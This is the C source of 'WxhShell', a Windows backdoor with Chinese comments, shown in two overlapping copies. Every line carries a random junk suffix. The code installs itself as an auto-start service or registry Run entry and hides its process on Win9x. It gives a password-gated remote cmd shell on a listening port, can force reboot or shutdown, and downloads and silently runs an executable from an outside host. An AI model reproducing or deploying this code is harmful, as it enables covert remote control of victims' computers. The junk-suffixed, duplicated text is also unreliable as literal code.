    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Hw8`/'M=%5  
    if(Boot(SHUTDOWN)) L- [<C/`;t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GuMsw*{>  
    else { z5Hz-.  
    closesocket(wsh); zm rQ7(y  
    ExitThread(0); /X)fWO S6  
    } kBd #=J  
    break; `i0RLGze  
    } ;Dg8>  
  // 获取shell 6R% I)  
  case 's': { QSf{V(fs  
    CmdShell(wsh); g9OO#C>  
    closesocket(wsh); |S#)[83*3  
    ExitThread(0); X"<t3l(+  
    break; zRsG$)B  
  } DWDL|4 og  
  // 退出 Gc}d#oo*k  
  case 'x': { l=%v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O [GG<Um  
    CloseIt(wsh); Dt\F]\6sd  
    break; X<J NwjM%  
    } t5 n$sF  
  // 离开 ;Ad$Q9)EE  
  case 'q': { rwr>43S5<3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G&MI@Hq  
    closesocket(wsh); 5'gV_U  
    WSACleanup(); 01q5BQ7u  
    exit(1); g9I2 e<;o  
    break; ?cf9q@eAH  
        } 75}BI&t3k  
  } {Cnz7TVB  
  } G (Fi  
!Q =H)\3  
  // 提示信息 /,A:HM>B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); io^^f|  
} DU#6%8~  
  } W\gu"g`u  
KOVGwEj  
  return; 7:t+  
} <zH24[  
o7E?A  
// shell模块句柄 _M= \s>;G  
int CmdShell(SOCKET sock) r`}')2  
{ $5T3JOFz  
STARTUPINFO si; _n(O?M&x  
ZeroMemory(&si,sizeof(si)); Dsc{- <v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z?Y14L~%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E\&~S+:Xp  
PROCESS_INFORMATION ProcessInfo; w N9I )hB  
char cmdline[]="cmd"; q-O=Em<*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B uV@w-|  
  return 0; ZAVjq;bq  
} .~qu,q7k~  
^@e4m O  
// 自身启动模式 8C3oj  
int StartFromService(void) JlJy3L8L  
{ > f,G3Ay  
typedef struct l -us j%\  
{ 5%j !SVW  
  DWORD ExitStatus; -R@mnG 5  
  DWORD PebBaseAddress; 0@ []l{N  
  DWORD AffinityMask; O` R@6KG  
  DWORD BasePriority; 7<['4*u  
  ULONG UniqueProcessId; ^w'y>uFM  
  ULONG InheritedFromUniqueProcessId; W3K?K-  
}   PROCESS_BASIC_INFORMATION; FjD`bhw-  
H@o 3u>}  
PROCNTQSIP NtQueryInformationProcess; Ge=+ 0W)&  
G$&SlJZEk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9q;n@q:29  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "HSAwe`5jU  
uc4#giCD  
  HANDLE             hProcess; v {E~R  
  PROCESS_BASIC_INFORMATION pbi; 3:1 h:Yc<  
[A99e`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .jW+\mIX  
  if(NULL == hInst ) return 0; H7!j5^  
U {Xg#UN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Kt5;GUV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /f2HZfj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~ _R 8; b  
LRl2@&z<  
  if (!NtQueryInformationProcess) return 0; YD1 :m3l!  
uBp"YX9rx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f/Cf2 K  
  if(!hProcess) return 0; &' E(  
k4Ed7T-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I[u%k ir  
{1a%CsCM  
  CloseHandle(hProcess); d 2f   
q))r lMo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #_)<~  
if(hProcess==NULL) return 0; CtiTXDc_  
^)|8N44O  
HMODULE hMod; 1#BMc%  
char procName[255]; T 2Uu/^  
unsigned long cbNeeded; [k qx%4q)  
\D Oqx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {akSK  
(/6~*<ZGT  
  CloseHandle(hProcess); l!z)gto  
Y#[jDS(ip  
if(strstr(procName,"services")) return 1; // 以服务启动 "SGq$3D  
-js:R+C528  
  return 0; // 注册表启动 i> }P V  
} ?Ybgzb  
K1i@.`na/$  
// 主模块 Rs*]I\  
int StartWxhshell(LPSTR lpCmdLine) tS|gQUF17  
{ yb{ud  
  SOCKET wsl; X)P;UVR0  
BOOL val=TRUE; X6hm,0[  
  int port=0; PL*Mz(&bf  
  struct sockaddr_in door; -2Bkun4Pt  
(t$jb |Oa  
  if(wscfg.ws_autoins) Install(); jhU'UAn  
-%R3YU3  
port=atoi(lpCmdLine); y;oPg4  
U tb"6_   
if(port<=0) port=wscfg.ws_port; S.G"*'N  
`[.b>ztqgJ  
  WSADATA data; wrtJ8O(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \q2:1X |  
yDmNPk/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uO=yQ&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k&TZ   
  door.sin_family = AF_INET; w +pK=R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'E_M, Y  
  door.sin_port = htons(port); J3 Y-d7=|  
gzV&S5A{_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Nu}x`Qkmr  
closesocket(wsl); DjzHEqiH  
return 1; 32#|BBY  
} 1#]0\Y(  
. }#R  
  if(listen(wsl,2) == INVALID_SOCKET) { _SVIY@K|/  
closesocket(wsl); V?_:-!NJ(  
return 1; pK_n}QW  
} S_ELZO#7  
  Wxhshell(wsl); #ZzFAt  
  WSACleanup(); & B CA  
c%?31 t  
return 0; }MW7,F  
)uG7 DR  
} |<:Owd=  
O{P@fv%~(o  
// 以NT服务方式启动 )\xDo<@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =I(F(AE  
{ 1$+-?:i C  
DWORD   status = 0; *O5Ysk^|  
  DWORD   specificError = 0xfffffff; -}_X'h&"  
@ OSSqH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VXfp=JE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s2IjZF{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |o6g{#1  
  serviceStatus.dwWin32ExitCode     = 0; 8ch^e[U`  
  serviceStatus.dwServiceSpecificExitCode = 0; te<lCD6  
  serviceStatus.dwCheckPoint       = 0; [wLK*9@&  
  serviceStatus.dwWaitHint       = 0; !@.9>"FU  
&1Zq C;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ff{ L=uj  
  if (hServiceStatusHandle==0) return; 1o Z!Up0  
J>o%6D  
status = GetLastError(); L lNd97Z  
  if (status!=NO_ERROR) ,\%qERk  
{ m|/q o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c] '-:=  
    serviceStatus.dwCheckPoint       = 0; T_=IH~"  
    serviceStatus.dwWaitHint       = 0; fN|'aq*Pd  
    serviceStatus.dwWin32ExitCode     = status; D#8uj=/%  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6g6BE^o\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eH0^d5bH  
    return; WP}NHz4H  
  } P{2ue`w[  
u#Z#NP ~F0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Dr_ (u<[  
  serviceStatus.dwCheckPoint       = 0; o*r 2T4 8  
  serviceStatus.dwWaitHint       = 0; ^!FLi7X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bE6:pGr  
} 8Ry%HV9VE  
fzk^QrB  
// 处理NT服务事件,比如:启动、停止 (q 0wV3Qv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'ZiTjv ]  
{ A0A]#=S  
switch(fdwControl) SQS PdR+  
{ g> <*qd?t  
case SERVICE_CONTROL_STOP: 8*7,qX  
  serviceStatus.dwWin32ExitCode = 0; O]1aez[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 141G~@-  
  serviceStatus.dwCheckPoint   = 0; Q)s`~G({P  
  serviceStatus.dwWaitHint     = 0; q+J;^u"E  
  { qX%oLa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0rA&Q0  
  }  yh'uH  
  return; 0!5w0^1  
case SERVICE_CONTROL_PAUSE: YD@n8?~$$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,ozgnhZY  
  break; D=^|6}  
case SERVICE_CONTROL_CONTINUE: 4\pUA4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B]lM69Hz  
  break; -|WQs'%O  
case SERVICE_CONTROL_INTERROGATE: Qw@_.I  
  break; ?E6 C|A$I  
}; g~v>{F+u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [+2iwfD  
} sVNM#,  
Fu$JI8  
// 标准应用程序主函数 c*N>7IF,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Xf/qUao  
{ _q1b3)`D  
)r`F}_CEL  
// 获取操作系统版本 6p)dO c3L  
OsIsNt=GetOsVer(); g54b}vzm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $OP w$  
@ rG=>??k  
  // 从命令行安装 g?1! /+  
  if(strpbrk(lpCmdLine,"iI")) Install(); #k/NS  
.?NraydwV  
  // 下载执行文件 XR@C^d  
if(wscfg.ws_downexe) { YacLYo#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KwxO%/-}S  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ra-%,cS  
} ZGgM- O1  
;UPI%DnE]  
if(!OsIsNt) { T~G~M/  
// 如果时win9x,隐藏进程并且设置为注册表启动 5LVzT1j|  
HideProc(); =&-+{txs  
StartWxhshell(lpCmdLine); <UE-9g5?G  
} Sft+Gb6  
else ]R%+  
  if(StartFromService()) W*jwf@ 0  
  // 以服务方式启动 Cj3C%W  
  StartServiceCtrlDispatcher(DispatchTable); F\BD7W  
else Jd-u ?  
  // 普通方式启动 tO8<N'TD  
  StartWxhshell(lpCmdLine); ]IeyJ  
u0?,CQPL  
return 0; En:/{~9{ F  
} >[&Zs3>  
a%NSL6  
72akOx   
{OGv1\ol&  
=========================================== 6ntduXeNVh  
Izr_]%  
d"~-D;  
U_l#lGA(H  
E(/M?>t-  
]J)3y+;P  
" m |%ly  
)4CF*>*6V  
#include <stdio.h> $5v:z   
#include <string.h> SO8b~N  
#include <windows.h> 0.kQqy~5  
#include <winsock2.h> JR^#NefJ  
#include <winsvc.h> HCOE'24I  
#include <urlmon.h> -JwwD6D  
[_w;=l0 ;  
#pragma comment (lib, "Ws2_32.lib") , HHCgN  
#pragma comment (lib, "urlmon.lib") na-mh E,H  
SM1[)jZ-  
#define MAX_USER   100 // 最大客户端连接数 YIZ+BVa  
#define BUF_SOCK   200 // sock buffer 2oFbS%OV  
#define KEY_BUFF   255 // 输入 buffer C)v*L#{%  
TL*8h7.(  
#define REBOOT     0   // 重启  OK\F  
#define SHUTDOWN   1   // 关机 7%F8  
Yfjp:hg/!  
#define DEF_PORT   5000 // 监听端口 d@#wK~I  
FdFN4{<QZ  
#define REG_LEN     16   // 注册表键长度 #s]'2O  
#define SVC_LEN     80   // NT服务名长度 pon0!\ZT=  
l.@&B@5F  
// 从dll定义API ,'c?^ $J|z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d@IV@'Q7u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lJ$j[Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TF7~eyLg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DF`?D +  
%IhUQ6  
// wxhshell配置信息 ccm(r~lhJ  
struct WSCFG { 8P[aX3T7G  
  int ws_port;         // 监听端口 l0GsY.~,  
  char ws_passstr[REG_LEN]; // 口令 j$mCU?  
  int ws_autoins;       // 安装标记, 1=yes 0=no d&ap u{  
  char ws_regname[REG_LEN]; // 注册表键名 Lj#K^c Ee  
  char ws_svcname[REG_LEN]; // 服务名 Ir\f _>7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GiGXV @dq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3wf&,4`EX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iwS55o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~4'AnoD1w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n,vs(ZL:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @M_p3[c\  
`iT{H]po  
}; #cdrobJ  
C]'ru  
// default Wxhshell configuration *%;+3SV  
struct WSCFG wscfg={DEF_PORT, <yw(7  
    "xuhuanlingzhe", | g[iK1  
    1, 5kbbeO|0G  
    "Wxhshell", `+?g96   
    "Wxhshell", RjW< H6a"K  
            "WxhShell Service", P<s 0f:".  
    "Wrsky Windows CmdShell Service", m&!4*D  
    "Please Input Your Password: ", 5wgeA^HE2y  
  1, :y%CP8  
  "http://www.wrsky.com/wxhshell.exe",  roNRbA]  
  "Wxhshell.exe" (#?k|e"Y"`  
    }; -Mx\W|YK  
5@&{%99  
// 消息定义模块 *s1^s;LR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S#{gCc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W0_ pO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >xB[k-C4  
char *msg_ws_ext="\n\rExit."; E=eK(t(8  
char *msg_ws_end="\n\rQuit."; %ok??_}$}q  
char *msg_ws_boot="\n\rReboot..."; }XcYIo#+t  
char *msg_ws_poff="\n\rShutdown..."; ?CU6RC n  
char *msg_ws_down="\n\rSave to "; 9hn+eU  
sfKu7puc  
char *msg_ws_err="\n\rErr!"; SSo7 U  
char *msg_ws_ok="\n\rOK!"; C(@#I7G  
Md[M}d8  
char ExeFile[MAX_PATH]; x4=Sm0Ro|V  
int nUser = 0; RJhafUJ zH  
HANDLE handles[MAX_USER]; m(DJ6CSa  
int OsIsNt;  TG^?J`  
sDXD>upO  
SERVICE_STATUS       serviceStatus; 56`Tna,t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ta+MH,  
vmsrypm  
// 函数声明 lC8Z@wkjO  
int Install(void); OAw- -rl  
int Uninstall(void); egXbe)ld  
int DownloadFile(char *sURL, SOCKET wsh); %<]4]h  
int Boot(int flag); c0aXOG^  
void HideProc(void); h'm-]v  
int GetOsVer(void); :f_fp(T  
int Wxhshell(SOCKET wsl); UYw=i4J'  
void TalkWithClient(void *cs); O3KTKL]  
int CmdShell(SOCKET sock); 0ub0 [A  
int StartFromService(void); CR8szMa  
int StartWxhshell(LPSTR lpCmdLine); o|G[/o2  
'^!#*O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A}3dx!?7j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1W r,E#+C  
1"yr`,}?8r  
// 数据结构和表定义 q"9 2][}  
SERVICE_TABLE_ENTRY DispatchTable[] = ,[UK32KWI  
{ ;1AX u/  
{wscfg.ws_svcname, NTServiceMain}, ^g SZzJ5  
{NULL, NULL} <{P`A%g@  
}; 'B\7P*L"p  
*hvC0U@3  
// 自我安装 hZ`<ID  
int Install(void) G nPrwDB  
{ l9t|@9  
  char svExeFile[MAX_PATH]; ;V0^uB.z  
  HKEY key; v2l*n  
  strcpy(svExeFile,ExeFile); F87/p  
8vqx}2  
// 如果是win9x系统,修改注册表设为自启动 ?Gqq]ozm  
if(!OsIsNt) { S7 !;Z@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zI,z<-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wQ9?Z.-$  
  RegCloseKey(key); Ji)Ys ebV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]_(J8v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pf$gvL  
  RegCloseKey(key); IqAML|C  
  return 0; Qg]+&8!*  
    } Bwl@Muw  
  } p?2^JJpUb  
} Ji4JP0  
else { yu>)[|-  
FD al;T  
// 如果是NT以上系统,安装为系统服务 GIZw/L7Yb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t>! Ok  
if (schSCManager!=0) cq0-D d9^&  
{ NHiac(&*  
  SC_HANDLE schService = CreateService i__f%j`!W  
  ( m+Kl   
  schSCManager, C#LTF-$])  
  wscfg.ws_svcname, }qT{" *SC  
  wscfg.ws_svcdisp, yV*jc`1  
  SERVICE_ALL_ACCESS, F0kdwN4;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $5:I~ -mx  
  SERVICE_AUTO_START, " GY3sam  
  SERVICE_ERROR_NORMAL, hg2Ywzfm-  
  svExeFile, {T-=&%||  
  NULL, H'+3<t>  
  NULL, [,3E#+y  
  NULL, V|G*9^Y  
  NULL, Re+oCJ  
  NULL $R%tD.d3  
  ); Gz52^O :  
  if (schService!=0) ,BFw-A  
  { (8baa.ge  
  CloseServiceHandle(schService); 2H1 [ oD[  
  CloseServiceHandle(schSCManager); pg Q^w0BQV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CG;+Z-"X  
  strcat(svExeFile,wscfg.ws_svcname); w75Ro6y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Id1de>:;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >0_{80bdO  
  RegCloseKey(key); z\"9T?zoo  
  return 0; `A9fanh  
    } n-g#nEc:  
  } g&{CEfw&  
  CloseServiceHandle(schSCManager); Z;S)GUG^  
} * mH&Gn1  
} 'P*OzZ4>$  
T"t.t%(8  
return 1; Y9I|s{~  
} k!bG![Ie|  
l$[,V:N  
// 自我卸载 39MOqVc  
int Uninstall(void) y|=KrvMHJ  
{ 3-oKY*jO  
  HKEY key; ~^'WHuz Py  
zJ$U5r/u  
if(!OsIsNt) { ayh235>a(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }t:* w  
  RegDeleteValue(key,wscfg.ws_regname); v_WF.sb~  
  RegCloseKey(key); J\>/ J%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rp^:{6O  
  RegDeleteValue(key,wscfg.ws_regname); 7nB X@Uo  
  RegCloseKey(key); &bGf{P*Da  
  return 0; :wEy""*N0  
  } @=%g{  
} ;VEKrVD  
} kGL3*x  
else { $d,/(*Y#-  
rxs:)# ?A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |Qb@.  
if (schSCManager!=0) CMyz!jZ3  
{ +=d=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]826kpq_  
  if (schService!=0) z_=V6MDM  
  { sCmN|Q  
  if(DeleteService(schService)!=0) { g7lPQ_A*  
  CloseServiceHandle(schService); tK?XU9o  
  CloseServiceHandle(schSCManager); fz?woVn  
  return 0; j/F('r~L  
  } gyPwNE  
  CloseServiceHandle(schService); jP0TyhM  
  } u.*}'C>^^v  
  CloseServiceHandle(schSCManager); F@#p  
} dPxJ`8  
} ^N7 C/" p  
g_! xD;0  
return 1; G{O{ p  
} ep0dT3&  
E$ &bl  
// 从指定url下载文件 AX'-}5T=  
int DownloadFile(char *sURL, SOCKET wsh) y&eU\>M  
{ 5sj$XA?5  
  HRESULT hr; BjfTt:kY  
char seps[]= "/"; _y sakn  
char *token; A_e5Vb ,u.  
char *file; 7Ka4?@bQ  
char myURL[MAX_PATH]; [0]J 2  
char myFILE[MAX_PATH]; *cCj*Zr]  
 DO9K  
strcpy(myURL,sURL); ;j[:tt\k  
  token=strtok(myURL,seps); B2KBJ4rI[1  
  while(token!=NULL) yq<W+b/  
  { JoZzX{eu"  
    file=token; B52dZb  
  token=strtok(NULL,seps); :7JP(j2  
  } =P_ *.SgR  
WTjmU=<\  
GetCurrentDirectory(MAX_PATH,myFILE); XW\ 3ttx  
strcat(myFILE, "\\"); ^R)]_   
strcat(myFILE, file); YfMs~}h,  
  send(wsh,myFILE,strlen(myFILE),0); 1'iQlnMO@  
send(wsh,"...",3,0); -v|lM8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dTlEEgR  
  if(hr==S_OK) <OJqeUo+*\  
return 0; N3a ]!4Y\  
else <^'IC9D]  
return 1; q_L. Sy|)  
Fu\#:+5\  
} ]2ycJ >w  
JsMN_%y?  
// 系统电源模块 y@7CY-1  
int Boot(int flag) }odjaM}5Nc  
{ ?'"BX  
  HANDLE hToken; Fpwhyls  
  TOKEN_PRIVILEGES tkp; '<*%<J{(  
eb6y-TwY  
  if(OsIsNt) { %M`zkA2]J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,S@B[+VZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y?zo")  
    tkp.PrivilegeCount = 1; SJ:Teab  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gQ%mVJB{(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -%K}~4J  
if(flag==REBOOT) { *P5/S8c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yJlRW!@&:  
  return 0; CyB4apJ  
} A`>^A]%  
else { ] \!,yiVeU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `krVfE;_O  
  return 0; E @Rb+8},"  
} oz[G'[\}F  
  } ~x@V"rxGw  
  else { cS@p`A7Tpo  
if(flag==REBOOT) { npbf>n^R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MBU4Awj  
  return 0; f.E{s*z>  
} nLPd]%78>  
else { g2 mq?q(g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ed3wj3@  
  return 0; D5].^*AbZ  
} / T_v8 {D  
} g:p` .KuB  
[biz[ fm  
return 1; CP$,fj  
} HW'I$ .  
Mpk7$=hjc  
// win9x进程隐藏模块 3Q)"  
void HideProc(void) #T`1Z"h<  
{ WU.eeiX  
4X}TG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KF!d?  
  if ( hKernel != NULL ) 4<5*HpW  
  { DiZv sc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o"A?Aq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q6%m .X7  
    FreeLibrary(hKernel); c]qh)F$s8  
  } _. EM])b  
x8wsx F  
return; _6YfPk+  
} rg]z  
9'|_1Q.b^  
// 获取操作系统版本 4Yt'I#*  
int GetOsVer(void) IEI&PRD  
{ c`\qupnY  
  OSVERSIONINFO winfo; =vDDfPR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1:u~T@;" `  
  GetVersionEx(&winfo); X]\; f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bhfKhXh8  
  return 1; (#qQ;ch  
  else {7 ](-  
  return 0; "-G7eGQ  
} a\B?J  
F+W{R+6  
// 客户端句柄模块 <u?\%iJ"  
int Wxhshell(SOCKET wsl) EYn9l n_]u  
{ +]~}kvk:  
  SOCKET wsh; 'mF&`BN}b  
  struct sockaddr_in client; :01B)~^  
  DWORD myID; Z]Cd>u  
tCu.Fc@  
  while(nUser<MAX_USER) >yLdrf  
{ a,n#E!zT?w  
  int nSize=sizeof(client); wX <ov0?[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uE.. 1N&*  
  if(wsh==INVALID_SOCKET) return 1; ="AaC!E,W  
=t|,6Vp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tvUCd}  
if(handles[nUser]==0) 0^F!-b^z  
  closesocket(wsh); w(*},  
else N7)K\)DS!z  
  nUser++; h66mzV:`  
  } c68,,rJO]i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EK\xc'6M  
z 1.vnGP  
  return 0; fOP3`G^\  
}  Qr-,J_  
/8"rCh|m-  
// 关闭 socket UI~hB4V$]  
void CloseIt(SOCKET wsh) fd&>p  
{ bH%d*  
closesocket(wsh); :8]y*j  
nUser--; ? 0:=+%.  
ExitThread(0); @S&QxE^  
} bu=RU  
"cvhx/\1#  
// 客户端请求句柄 uu/2C \n}  
void TalkWithClient(void *cs) n-OQCz9Xl  
{ #K/95!)  
(Dx p  
  SOCKET wsh=(SOCKET)cs; vLGnLpt  
  char pwd[SVC_LEN]; y<l(F?_  
  char cmd[KEY_BUFF]; ezS@`_pR;  
char chr[1]; yIWgC[  
int i,j; k/)h@K8@  
j?\z5i""f  
  while (nUser < MAX_USER) { YU\k D  
E9' 2_e  
if(wscfg.ws_passstr) { gN]\#s@[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4v9d& m!<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r$Oa  
  //ZeroMemory(pwd,KEY_BUFF); StiWa<"c  
      i=0; ;R$2+9  
  while(i<SVC_LEN) { cNye@}$lu  
bKEiS8x  
  // 设置超时 Mt@Ma ]!  
  fd_set FdRead; 2G_]Y8  
  struct timeval TimeOut; dZ4c!3'F  
  FD_ZERO(&FdRead); thE9fr/  
  FD_SET(wsh,&FdRead); FbXur-et^  
  TimeOut.tv_sec=8; b,>>E^wd!  
  TimeOut.tv_usec=0; Tl1H2s=G-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bHQ) :W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W>'(MB$3  
@gw8r[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vhDtjf/*  
  pwd=chr[0]; PZI6{KOis  
  if(chr[0]==0xd || chr[0]==0xa) { p =-~qBw  
  pwd=0; ZKM@U?PK  
  break; e\!Aoky  
  } Fh/sD?  
  i++; -lR7 @S  
    } |7${E^u  
gMp' S  
  // 如果是非法用户,关闭 socket KN>h*eze  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Pc<0kQg  
} R iFUa $  
9Q'[>P=1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %pqB/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5Vai0Qfcu:  
{d.K)8\  
while(1) { <(H<*Xf9  
"2p\/VfA  
  ZeroMemory(cmd,KEY_BUFF); }7_$[r'_oI  
N|3#pHm@  
      // 自动支持客户端 telnet标准   ?Cx=!k.  
  j=0; 2jxIr-a1G  
  while(j<KEY_BUFF) { C>SO d]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e3?z^AUXm  
  cmd[j]=chr[0]; cIcu=U  
  if(chr[0]==0xa || chr[0]==0xd) { Ty#sY'%  
  cmd[j]=0; S#<y_w%  
  break; X~SNkM  
  } B{p74 >  
  j++; LF#[$ so{i  
    } !~V^GlY  
]&dPY[~,/i  
  // 下载文件 ?'tRu !~  
  if(strstr(cmd,"http://")) { be$']}cP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6ud<U#\b&  
  if(DownloadFile(cmd,wsh)) CxSh.$l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oB~V~c}8x  
  else 9hh~u -8L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <lLJf8OK  
  } _pDfPLlY&  
  else { dZI["FeO&d  
`uZMln @  
    switch(cmd[0]) { ;tF&r1  
  ael] {'h]  
  // 帮助 p1K]m>Y{?  
